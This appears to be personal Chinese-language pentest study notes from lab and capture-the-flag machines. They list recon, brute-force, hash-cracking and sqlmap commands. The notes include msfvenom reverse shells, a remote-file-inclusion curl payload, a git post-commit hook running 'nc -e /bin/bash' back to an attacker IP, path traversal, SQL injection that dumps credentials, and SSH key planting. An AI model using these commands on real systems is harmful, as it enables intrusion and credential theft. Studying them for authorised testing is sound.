dmitry -p 192.168.33.142这个就简单的探测端口有无开放和nmap配合用
1. 序章 — Web安全学习笔记 1.0 文档 web笔记
smtp
smtp使用
telnet登入 telnet 10.129.8.71 25
-
HELO/EHLO
:这些命令发出 “Hello” 并在客户端和服务器之间启动 SMTP 连接。“HELO
” 是该命令的基本版本;“EHLO
” 用于一种特别类型的 SMTP。 -
MAIL FROM
:这个命令告诉服务器谁在发送该电子邮件。如果 Alice 试图给她的朋友 Bob 发电子邮件,客户端可能会发送 “MAIL FROM:alice@example.com”。 -
RCPT TO
:这个命令用于列出电子邮件的收件人。如果有多个收件人,客户端可多次发送该命令。如上例子中,Alice 的电子邮件客户端将发送: “RCPT TO: bob@example.com"。 -
DATA
:这个命令放在电子邮件的内容前,例如:
DATA Date: Mon, 4 April 2022 From: Alice alice@example.com Subject: Eggs benedict casserole To: Bob bob@example.com Hi Bob, I will bring the eggs benedict casserole recipe on Friday. -Alice .
-
RSET
:该命令重置连接,删除所有以前传输的信息,但不关闭 SMTP 连接。RSET
在客户端发送了错误信息的情况下使用。 -
QUIT
:结束连接。
smtp-user-enum
smtp-user-enum -M RCPT -U test-users.txt -t 10.10.10.77
-M RCPT
表示使用RCPT(Recipient)模式,该模式主要用于验证电子邮件服务器上的有效用户。
nmap
sudo nmap -sT --min-rate 10000 -p- 10.129.91.168 -oA nmapscan/ports
grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd
',')
nmap -sn 10.10.10.0/24 nmap --min-rate 10000 -p- 10.10.10.143 nmap -sT -sV -O -sC -p22,111,2049 10.10.10.143 nmap -sU --min-rate 10000 -p- 10.10.10.143
或nmap -sU --top-ports 10 10.10.10.144 试试top20端口
nmap --script=vuln -p22,111,2049 10.10.10.143
Sudo nmap - Sn 0.0.0.0/24扫描整个c端
Sn 相当于ping扫描 比sl多一点攻击性 相当于arp-scan -l
-sS (只建立tcp连接请求第一步 快) --min-rate 速度
-sT(完整tcp三次握手 慢准) 有的墙可以检测不完整包
-p- 1-655(默认1-1000) -oA写入(A就有3种输出端口扫描结果形式)
其中一种输出形式 cat到目录下看扫描的端口
提取数据 grep 端口多的时候可以这样用
awk指定/做分隔符 打印第一列 Paste-s合并一行d指定分割符,
st是指定tcp协议 sv是各服务版本 sc是默认脚本扫描 -o是操作系统 TAB键自动补齐变量-su 是udp协议扫描 备用 -top-ports 20扫描常用20个
sudo nmap -sU --top-ports 20 192.168.255.146
烧苗ipv6的
sudo nmap -6 --min-rate 10000 -p- dead:beef::b885:d62a:d679:573f
默认漏洞脚本烧苗
21优先看(看这边有可能未授权访问) 22优先后 80最重
nikto (扫描web的)
nikto -h http://192.168.56.249
加解密
是对md5进行hash计算echo -n '1234' |md5sum
解密base的命令
openssl
换md5时记得加-n 不要换行 转换是要记得加-n(md5) 很多加解密都需要
Awk 是一个编辑器 | awk - F’ ’ ‘{print $1}’ 将空格作为分割 输出第一分割符的第一个语句
有的不需要-n(这边是再enc.txt下发现的,他是openssl的加密模式key)
key是 md5加密的那个enc是解密命令 -d是解密 -a是解base64编码 -k是key -CipherType是放入openssl的加密类型
这边的CipherType具体如何获取加密方法具体看prime的操作(后面部分)
hash-identifier 识别加密工具
也可以用jhon试试
hashcat
渗透测试--5.2.hash密码的破解hash解密西柚小萌新的博客-CSDN博客 -m是加密模式的
3200 是bcrypt 0是md5
hashcat -m 0 -a 0 >>>>>>>>>>>>> /usr/share/wordlists/rockyou.txt
-a 0
:指定攻击模式。0
通常代表直接(字典)攻击,这意味着它将使用单词列表进行破解。
hashcat creds /usr/share/wordlists/rockyou.txt --user -m 0
--user告诉hashcat 文件里面的文本有用户名
admin:665a50ac9eaa781e4f7f04199db97a11 这种格式
hashcat creds /usr/share/wordlists/rockyou.txt --user -m 0 --show | tee
cracked-passwords
tee output.txt
:这部分命令用于tee
在屏幕上显示输出并将其保存到名为output.txt
. 该tee
命令负责这种双重重定向。
在 hashcat 中,--show
选项用于显示成功破解的密码。
提取和分别存储:
admin:665a50ac9eaa781e4f7f04199db97a11:paddpadd 这种格式
cat cracked-passwords | cut -d: -f1 > user
-
cat cracked-passwords
:这部分命令用于cat
连接并显示“cracked-passwords”文件的内容。 -
|
:这是管道运算符,它将上一个命令的输出作为下一个命令的输入。 -
cut -d: -f1
:该部分使用cut
命令根据分隔符(-d:
指定分隔符为冒号)分割输入的每一行,然后提取第一个字段(-f1
)。这通常用于从具有分隔字段的文件中提取特定列。 -
> user
:这部分cut
使用输出重定向 ( ) 将命令的输出重定向到名为“user”的文件
cat cracked-passwords | cut -d: -f3 > pass
cat cracked-passwords | cut -d: -f1,3 | tee userpass
变admin:paddpadd
hashcat看加密在工具里是哪个代码
例如 as-rep加密的 hasgcat --help | grep -i rep 可以得到以下
nonce last bytes | --nonce-error-corrections=16
19600 | Kerberos 5, etype 17, TGS-REP | Network
Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network
Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network
Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network
Protocol
hashcat -m 18200 kaorz_hash /usr/share/wordlists/rockyou.txt
crunch
crunch是一种创建密码字典工具
渗透测试--5.1.Crunch创建密码字典_wifi密码字典-CSDN博客
破解hash网站
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
jhon
它针对hash文件的
解密
破解md5
john --format=raw-mad5 --wordlist=/usr/share/wordlists/rockyou.txt hash_md5
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.网站
(转hash文件)
zip2john winrm_backup.zip > winrm_backup.zip
john winrm_backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
pfx2john legacyy_dev_auth.pfx | tee legacyy_dev_auth.pfx.hash
john legacyy_dev_auth.pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt
ssh2john id_rsa > id_rsa_hash
john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
ssh -i id_rsa user@10.10.10.143
密钥不知道密码转hash的
目录爆破
feroxbuster
feroxbuster -u https://streamio.htb -x php -w
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k
gobuster
gobuster dir -u http://192.168.255.146 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/usr/share/wordlists/dirb/big.txt 这个字典更全
-m指定文件
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144
gobuster vhost -u http://ceng-company.vm/ -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt 爆破子域名 /usr/share/dnsenum/dns.txt 子域名字典 dnsum带的,但是这工具也看不了结果
gobuster dir -u http://admin.ceng-company.vm -w/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak
多后缀
-k参数使用https
dirb
-x参数 指定文件
dirb http://192.168.44.144 -x .zip,.txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
dirb http://192.168.56.254/development/ -u julius.b:wJWm4CgV26 -u参数的使用 加权限爆破,也可以用bp
dirb http://admin.ceng-company.vm /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt 大字典 不行啊 前面是目录字典,后面的是常用的扩展名字典
dirsearch
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt --random-agents -t 100
hydra(爆破)
-t线程4 user.list是自己收集的账号
爆破密码
hydra -L user.list -p /usr/share/wordlist/rockyou.txt ssh://192.168.44.135
hydra 192.168.44.60 mysql -l root -P /usr/share/wordlists/rockyou.txt
hydra 192.168.44.170 ssh -s 22222 -l root -P /usr/share/wordlists/rockyou.txt
hydra -L users.txt -P pass.txt cryptobank.local -f http-get /development 加页面爆破
hydra破解http的表单
hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt
(使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求添加一个-l参数表示login登录账号,我们这里随便填写一个即可)
hydra -C userpass streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"
其它的提交方法改get,或者head,http-get-form
-
/login.php
:认证表单所在的登录页面。将其替换为实际的登录页面。 -
username=^USER^&password=^PASS^
:指定用户名和密码的POST参数。^USER^
和^PASS^
是 Hydra 将替换为凭证文件中的值的占位符。 -
F=failed
:指定指示登录尝试失败的字符串。Hydra 使用此信息来确定登录尝试是否成功。 -
尝试失败的字符串,需要每个网页可能是不一样的这些需要自己去看表单进行填写
get
hydra -l Eugene -P wordlist.txt -t 4 -vV -f 192.168.2.1 http-get /
-
hydra
:这是流行的密码破解工具 Hydra 的命令。 -
-l Eugene
:指定攻击中使用的用户名。在本例中,“Eugene”是目标用户名。 -
-P wordlist.txt
:指定包含攻击中使用的密码列表的文件的路径。将“wordlist.txt”替换为密码单词列表文件的实际路径。 -
-t 4
:指定要运行的并行任务(线程)的数量。在本例中,它设置为 4 个线程。 -
-vV
:启用详细模式,在攻击期间提供更详细的输出。 -
-f
:此选项告诉 Hydra 在找到有效的用户名和密码对后立即退出。 -
192.168.2.1
:目标IP地址。将其替换为目标系统的实际 IP 地址。 -
http-get
:指定服务类型为HTTP GET。 -
/
:这是目标 URL 路径,在本例中为根路径(“/”)。将其替换为目标系统上登录页面的实际路径。
curl
正常使用
curl http://x.xx.xx.xx/xx/xx/xx/xx?urlConfig=../../../../../../../../../etc/passwd
以url编码并且post传递
curl --data-urlencode "urlConfig=../../../../../etc/passwd" http://xx.xx.xx.xx/xx/xx/xx/xx.php
curl -X POST –k https://192.168.1.101:12322/file_view.php -d "file=../../../../../etc/passwd"
curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b 'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp' -d 'include=http://10.10.16.16/shell.php'
-
curl
:这是一个用于发出 HTTP 请求的命令行工具。 -
-X POST
:该选项指定请求应该是POST请求。 -
'https://streamio.htb/admin/?debug=master.php'
:这是发出 POST 请求的 URL。它包括一个查询参数debug=master.php
。 -
-k
:此选项用于允许curl
在没有证书的情况下连接到 SSL 站点。访问https -
-b 'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp'
:这会将 cookie 的值设置PHPSESSID
为cd4mphnq8j1n6m2i63ne1dmtjp
。 -
-d 'include=http://10.10.16.16/shell.php'
:该选项用于在HTTP POST 请求中发送数据。include
它发送带有值的参数http://10.10.16.16/shell.php
。
curl -s -d "username=admin" -d "password=icantrememberthispasswordcanyou" http://sqhell.thm/login
-
-s
:此选项代表“静音”或“安静”。它使curl
操作在不显示进度或错误消息的模式下进行。 -
-d "username=admin" -d "password=icantrememberthispasswordcanyou"
:这些选项用于发送 POST 数据。在本例中,它发送一个 POST 请求,参数“用户名”设置为“admin”,“密码”设置为“icantrememberthispasswordcanyou”。 -
http://sqhell.thm/login
:这是 POST 请求发送到的 URL。在本例中,它是一个登录页面。
msf
生成的反弹木马
sudo msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.11 lport=4343 -f raw > payload.jsp
sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.44.143 lpoort=44e -f raw
sudo msfvenom -p cmd/unix/reverse_python lhost=10.10.10.3 lport=4444 -f raw
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.255.129 lport=7777 -o shell.php
msfconsole
1.启动监听模块:use exploit/multi/handler
2.输入php类型反弹连接:set payload php/meterpreter/reverse_tcp 和前面一致
3.指定监听的主机和端口:set lhost 192.168.60.128 --> set lport 7777
4.开始监听:exploit/run
或者直接nc -lvnp
成功拿到的系统shell,如何升级meterpreter shell? 系统shell模样:
meterpreter shell模样:
从系统shell升级到meterpreter shell,首先,把系统shell退到后台运行 在系统shell 界面按 Ctrl + z ,然后选择 Y Background session 2? [y/N] y
然后输入命令 sessions ,查看系统shell 的session id 是1 输入升级session 命令: sessions -u 1 成功后,看到sessions中出现了meterpreter shell 用 sessions -i 2 进去就可以了。 2 为sessions 命令中 meterpreter shell 的id。
可以在反弹shell里面执行,将shell反弹到msf上
use exploit/multi/script/web_delivery
set lhost 192.168.1.107
set srvhost 192.168.1.107
exploit
创建一个python漏洞脚本,反弹到msf上
Lotus CMS
use exploit/multi/http/lcms_php_exec
set rhost 靶机ip
set uri /cms/
exploit
tomca(8080)
Tomcat | HackTricks | HackTricks
游览器访问8080
使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。 也可以用msf的multi/http/tomcat_mgr_login
msf6 exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.44.142 rhost => 192.168.44.142 msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8080 rport => 8080 msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat httppassword => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat httpusername => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > run
Drupal CMS
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 靶机ip
set targeturi /drupal
exploit
portfwd(端口转发)
Metasploit Unleashed | Portfwd | OffSec
meterpreter
portfwd add -l 8983 -p 8983 -r 172.17.0.1 端口转发 这个是转发到127.0.0.1
-L <opt> 转发: 本地监听地址 反向: 本地主机连接到某个地址 -R 表示正向反向端口 -h 帮助信息 -i <opt> 端口转发条目的索引与交互(请参阅“列表”命令) -l <opt> 转发:本地端口收听 反向:本地端口连接 -p <opt> 转发:远程端口连接 反向:远程端口监听 -r <opt> 转发:连接到远程主机
whatweb
分析网站内容和技术
whatweb -v -a 3 34.82.112.5
wpscan
wpscan *-enumerate* *枚举所有用户的参数*(也可用cmsseek) 扫描cms
wpscan --url http://192.168.44.164/wp-login.php --passwords /usr/share/wordlists/rockyou.txt --usernames admin
wpscan --url xx.xx.xx.xx/wordpress -eu
wpscan -u 127.0.0.1/wordpress -e u vp --random-agent -o result.txt
-e使用枚举方式 u 扫描枚举用户ID1-ID10 vp扫描漏洞插件 --random-agent 使用随机请求头防止waf拦截 -o 将结果导出为你result.txt
参数 | 用途 |
---|---|
–update | 更新 |
-u/–url | 后面加要扫描的站点 |
-e/–enumerate | 枚举 |
u | 用户名 |
p | 枚举插件 |
ap | 枚举所有插件 |
vp | 枚举有漏洞的插件 |
t | 枚举主题 |
at | 枚举所有主题 |
vt | 枚举有漏洞的主题 |
-w/–wordlist | 后面加字典 |
-U/–username | 指定用户 |
wordpress
http://102.168.60.131/wordpress/wp-login.php 默认登入页面
nanocms
信息泄露
/~andy//data/pagesdata.txt
wfuzz
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.60.131/index.php?FUZZ
子域名
wfuzz -H 'HOST: FUZZ.ceng-company.vm' -u 'http://192.168.159.181' -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hw 76,53
wfuzz -u http://streamio.htb -H “Host: FUZZ.streamio.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315
加cookie凭据
wfuzz -u https://streamio.htb/admin/?FUZZ= -w
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:
PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp" --hh 1678
命令行的筛选
find / -name ‘pass’ 2>/dev/null |less |sort 找根目录 ‘’加通配符加关键字 2后面是把不能找到的丢掉 less和sort是排序和分屏
find /name 'backup' 2>/dev/null | sort | less
后面的sort less 可以一屏一屏显示不会一闪而过
Grep -r -i pass /home/* 2>dev/null
· *grep*:用于搜索文本的命令。
· *-R*:递归搜索,表示在指定目录及其子目录中搜索。
· *-i*:表示不区分大小写,即无论文本是否为大写或小写都会匹配。
· *pass*:要搜索的文本字符串。
· */home/**:要搜索的目录路径,*/home/**表示搜索*/home*目录中的所有子目录。
Cat cred.lst | awk -F ‘ ’ ‘{print $x}’ | awk -F’@’ ‘{print $1}’
awk -F ':' '{print $1}' /etc/passwd 提取用户名
cat user_creds_raw
1 nikk37
389d14cb8e4e9b94b137deb1caf0612a
cat user_creds_raw | awk -F' ' '{print $2":"$3}' | tee user_creds
nikk37:389d14cb8e4e9b94b137deb1caf0612a
curl -X POST 'https://watch.streamio.htb/search.php' -d “q=RedteamNotes' union
select 1,concat(username,':',password),3,4,5,6 from users -- ” -k -s | grep h5 |
sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"
| sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'
-
sed -e 's/<h5 class="p-2">//g'
:-
-e
表示后面跟随的是一个sed脚本。 -
s/<h5 class="p-2">//g
表示要进行替换的操作。具体来说:
-
s/
表示进行替换。 -
<h5 class="p-2">
是要被替换的字符串,这是一个HTML<h5>
标签,带有class="p-2"
属性。 -
//
是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。 -
g
表示全局替换,即一行中的所有匹配都会被替换。
-
所以,这部分的作用是删除文本中所有匹配
<h5 class="p-2">
的字符串。 -
-
-e 's/<\/h5>//g'
:-
同样,这部分也是一个sed脚本,用于删除HTML标签
</h5>
。 -
s/<\/h5>//g
的解释如下:
-
s/
表示进行替换。 -
<\/h5>
是要被替换的字符串,这是HTML中闭合的<h5>
标签。 -
//
是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。 -
g
表示全局替换,即一行中的所有匹配都会被替换。
-
所以,这部分的作用是删除文本中所有匹配
</h5>
的字符串。 -
综合起来,这个sed
命令的作用是删除文本中所有 <h5 class="p-2">
和 </h5>
这两个HTML标签,保留标签之间的内容。这种文本处理通常用于从HTML文档中提取或清理文本内容。
| tr -d " \t"
-
tr
是一个字符替换命令,用于转换或删除输入中的字符。 -
-d
选项表示删除指定的字符。 -
" \t"
是要删除的字符集,其中包括空格和制表符。
因此,tr -d " \t"
的作用是将输入中的空格和制表符删除。
sqlmap
‘尝试sql注入有的’
直接sqlmap自动化 -batch -dump
post提交的话,就抓有sql注入的那页面的代码,复制到文件里面
sqlmap -r 1.txt --dbs
常规使用:
sqlmap -u “http://192.168.44.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
-D joomladb --tables
-D joomladb -T "#__users" --columns
sqlmap -u "http://192.168.44.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
-D joomladb -T “#__users” -C username --dump 爆表
sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
sqlmap -u "http://sqhell.thm/login" --method=POST --data="username=admin&password=" -p "username,password" --dbms=mysql -D sqhell_2 --dump-all --threads 10
-
--method=POST
:指定请求使用的 HTTP 方法,在本例中为 POST 请求。 -
--data="username=admin&password="
:提供要发送到服务器的POST数据。有效负载被注入到“用户名”参数中,并为“密码”参数提供空值。 -
-p "username,password"
:指定SQL注入测试的参数。在本例中,它正在寻找“用户名”和“密码”参数中的漏洞。
waf绕过
--identify-waf 检测是否有WAF #使用参数进行绕过 --random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候 --time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时 --hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上 --proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过 --ignore-proxy 禁止使用系统的代理,直接连接进行注入 --flush-session 清空会话,重构注入 --hex 或者 --no-cast 进行字符码转换 --mobile 对移动端的服务器进行注入 --tor 匿名注入
指定脚本进行绕过(—tamper)
探测等级和危险等级(—level —risk)
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,—risk=3
crackmapexec
只有加号才显示
Sudo crackmapexec ssh xx.xx.xx.xx -p xx -u xx ---continue-on-success | grep ‘+’
图片
exiftools
看图像工具隐写数据啥的
exiftool+图片名字
wget先下载再看
xdg-open
xdg-open Russian\beauty.jepg
这个是图像查看器
steghide
sudo steghide extract -sf spinning\the\wool.jpeg
将secret.txt文件隐藏到text.jpg中: #steghide embed -cf test.jpg -ef secret.txt -p 123456
从text.jpg解出secret.txt: #steghide extract -sf test.jpg -p 123456
提取隐写的文件
extract
: 这是steghide
的一个子命令,用于提取隐藏在图像中的秘密数据
steghide
: 这是一个开源的隐写术工具,用于隐藏和提取数据(通常是文本或文件)在多媒体文件(如图像和音频)中。它通常用于保护和传输秘密信息。-sf` 标志用于指定要从中提取隐藏数据的源文件
steghide extract -sf h1dd3n.jpg -p n30 -p指定提取的密码或用户
还有一个名为h1dd3n.jpg的 jpeg 文件被注释掉,这是一个经典的隐写术挑战。
zsteg
可以检测PNG和BMP图片里的隐写数据。
zsteg -a
Steganography Online 在线网站
解压文件
7z x backup.7z
smb(445)
crackmapexec
crackmapexec smb 10.129.228.115 -u kaorz -p Roper4155 --shares
--shares
: 这是指定执行 SMB 操作时的模块,用于列出目标主机上的共享资源。
crackmapexec smb 10.129.228.115 可以探测有没有
enum4linux
Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与*SMB**服务***有关的目标中快速提取信息。
enum4linux 192.168.190.132 这边枚举出共享文件名字
smbclient(445)
smbclient.py -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local
smbclient -U LicorDebellota.htb/kaorz
//10.129.228.115/netlogon
help
给出命令:
shares
显示股票:
use public
get Network Security Changes.pdf
这个命令需要输入密码
-U LicorDebellota.htb/kaorz
: 这是指定用户名的选项。在这里,LicorDebellota.htb
是目标域的名称,kaorz
是提供的用户名。
smbmap -H 10.129.228.115 -u kaorz -p Roper4155
smbmap -H timelapse.htb -u guest 看内容和权限,可以⽤-R参数递归地看具体的内容
smbmap -H 10.129.82.223 -u guest -R 直接可以看全部可以共享的
开放445,进入smb
sudo smbclient //192.168.28.30/smbdata
smbclient -L 192.168.28.30 可以查看分享目录的列表
远程挂载操作
smbclient //192.168.44.159/share$
mount -O username=' ',password=' ' //192.168.44.159/share$ /mnt (账号密码为空)
mount -t cifs //10.129.144.55/backups /mnt/123 -o user=,password=
-t cifs
:指定要挂载的文件系统类型,在本例中为 CIFS(通用 Internet 文件系统),用于在 Linux 上挂载 Windows 共享。
简单使用
prompt 后面不用确定
mget 一次下载多个
crackmapexec smb 10.129.64.95
⽆法枚举和与smb交互,crackmapexec探测到smb的存在,显示有dc域,增加到kali的hosts⽂件中。
smbmap(爆破用户名)
smbmap -H ip
关于-N
参数,它的作用是在没有提供用户名和密码的情况下进行连接。通常,如果你不使用-N
参数
ssh
本地制作密钥上传(ssh,ftp开启)
ssh-keygen -t rsa 创建公私钥对
借助上面列举的凭据“ smbuser:rootroot1 ”,我们登录到 FTP 并在 /home/smbuser 中创建一个名为 .ssh 的文件夹,然后尝试将我们在上述步骤中生成的 id_rsa.pub 作为authorized_keys 上传到.ssh 目录。
ftp 192.168.2.5 pwd mkdir .ssh cd .ssh put /root/.ssh/.id_rsa.pub authorized_keys exit
authorized_keys
文件是SSH(Secure Shell)协议用于身份验证的一部分。在SSH中,authorized_keys
文件包含了一组被授权的公钥,用于验证远程用户的身份。
当你使用SSH密钥对进行身份验证时,你会在服务器上的用户家目录下找到 ~/.ssh/
目录。在这个目录中,authorized_keys
文件存储了所有被授权访问该用户账户的公钥。
每个公钥占据该文件的一行。当你尝试通过SSH连接到服务器时,服务器会检查你提供的私钥是否与 authorized_keys
文件中的任何公钥匹配。如果匹配成功,你就被允许访问服务器。
ssh -i id_rsa smbuser@192.168.2.5
进ftp 记得输入binary
ssh可以下载文件(scp)
用ssh的scp下载 目录到本地的paintings下
ssh用户枚举漏洞进行测试
可以用cewl制作字典 cewl http://192.168.44.142/ -w user.txt
searchsploit ssh
40136.py
python 40136.py 192.168.44.142 -U user.txt
aircrack(破解无线密码802.11`(无线网协议)
aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap
.cap文件是靶机下载的
图片隐写工具
Steghide是一个可以将文件隐藏到图片或音频中的工具
安装:apt install steghide
隐藏文件
steghide embed -cf [文件载体] -ef [待隐藏文件]
查看文件信息
steghide info [文件]
提取隐藏信息
steghide extract -sf [文件]
pop3(110)
telnet 119.119.119.212 110(或者用nc)
user username ---------------------输入用户名, username 为具体的用户名 +OK -------------------------------执行命令成功 pass password 输入密码
list 列出每封邮件的字节数
retr 1 ---------------------------接收第 1 封邮件
压缩包
zip –password 1234 crackl.zip demo.txt
unzip -l winrm_backup.zip 可以提前看里面的内容如果有密码的话
unzip解压
破解压缩包fcrackzip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u crack.zip 指定字典
-b 指定为暴力破解
-D 指定字典来暴力破解
-c 指定字符集,字符集 格式只能为 -c 'aA1!:'
a 表示小写字母[a-z]
A 表示大写字母[A-Z]
1 表示阿拉伯数字[0-9]
! 感叹号表示特殊字符[!:$%&/()=?{[]}+*~#]
: 表示包含冒号之后的字符(不能为二进制的空字符),例如 a1:$% 表示 字符集包含小写字母、数字、$字符和%百分号
-l 指定密码长度,如:-l 1-5
-u 只显示破解出来的密码,其他错误的密码不显示出
fcrackzip -b -c ‘1’ -l 1-5 -u crack.zip,来使用字符集来破解当前crack.zip文件的密码。此指令的意思:使用数字字符集和1到5的字符长度来暴力破解
john格式转换
7z2john backup.7z > backup7z_hash
john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash
生成7z的hash后,使用字典rockyou.txt进行压缩包的密码暴力破解,指定形式为7z格式:
--format=7z
参数指定了要使用的哈希格式。具体来说,这个参数告诉 John the Ripper 工具使用 7-Zip 压缩文件的哈希格式进行破解。
git
git clone GitHub - ameerpornillos/flappy: flappy bird game git到本地
进入
git log -p
---查看每一个源码的详细信息
摁空格向下翻,翻到(END)结束是得到
python2 GitHack.py http://repo.gitroot.vuln/.git/
.git仓库
find / -name .git 2>/dev/null
cd /opt/auth/.git/logs/refs/heads/ 进入它的head目录
ls -lna | sort -n -r 按大小排列,查看第一个比较大的 ( cat ls
-n 这个是查看所有的)
cat dev-43
414 b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name you@example.com 1590500148 -0400 commit: added some stuff 看起来这是一个Git提交记录的信息。下面是对提交记录信息的解释:
-
Commit Hash(提交哈希):
b2ab5f540baab4c299306e16f077d7a6f6556ca3
这是Git版本控制系统为每个提交分配的唯一标识符。通过这个哈希值,你可以在版本历史中唯一地标识这个提交。 -
Author(作者):
Your Name <you@example.com>
提交的作者信息,包括姓名和电子邮件地址。在Git中,这是在提交时设置的身份信息。 -
Timestamp(时间戳):
1590500148 -0400
提交的时间戳,表示提交发生的时间。时间戳以Unix时间格式给出,然后是时区信息(-0400表示时区为东部夏令时)。 -
Commit Message(提交消息):
commit: added some stuff
提交消息是作者提供的对于这个提交目的和更改的简要描述。在这个例子中,提交的目的是“added some stuff”。
好像是添加用户
hook和psot-commit
gitshow b2ab5f540baab4c299306e16f077d7a6f6556ca3 看一下内容
在Git版本控制系统中,hook
文件是一种脚本文件,它允许你在特定的Git事件发生时触发自定义操作。这些脚本存储在Git仓库的 .git/hooks/
目录中。其中,post-commit
是一种特定类型的 Git hook。
post-commit
hook 是在每次成功的提交后执行的脚本。它通常用于执行一些与提交后处理相关的任务,例如发送通知、更新文档、触发构建等。在 .git/hooks/
目录下,你可以找到一个 post-commit.sample
文件,你可以将其重命名为 post-commit
并编辑其内容以执行你想要的操作。
cd betch
mkdir -p .git/hooks
具体而言,这个命令使用了 -p
选项,这使得命令会递归地创建指定的目录,如果目录不存在的话。所以,如果 .git/hooks
目录不存在,那么它就会被创建。这是确保在仓库中设置Git钩子的一种常见方式。
cd .git/hook/
vim post-commit
#! /bin/bash
/usr/bin/nc -e /bin/bash 192.168.44.184 5555
chmod 777 post-commit
cd /home/beth
7z a xshell.zip .git/
ls -l xshell.zip
chomd 777 xshell.zip
ls -l xshell.zip
-rwxrwxrwx 1 beth beth 489 Jun 6 11:16 xshell.zip
子域名爆破
dnsenum --dnsserver 192.168.44.185 greenoptic.vm
dig @192.168.44.185 greenoptic.vm axfr
这个可以扫描这个ip的所有dns解析
AXFR(权威转移)查询用于从权威 DNS 服务器转移整个 DNS 区域。这对于获取指定区域中所有域记录的完整列表非常有用
gobuster vhost -u http://ceng-company.vm/ -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt 爆破子域名 /usr/share/dnsenum/dns.txt 子域名字典 dnsum带的,但是这工具也看不了结果
wireshark
【网络安全】最适合小白的WireShark使用教程(超详细保姆级)_哔哩哔哩_bilibili
在alex目录下发现一个wireshark目录,而且alex也属于这个组
dumpcap -w test.pcap -i lo 用于捕获网络流量的命令行工具,是 Wireshark 套件的一部分
tgshark -i ens33 -w test.pcpa tshark,它是wireshark的终端版本。
当利用tgshaek捕获数据包的时候,可以看它捕获多少数据和文件来看有无捕获成功
可以用上面的筛选框筛选需要的协议的数据包
docker
ip add | grep docker
ip add
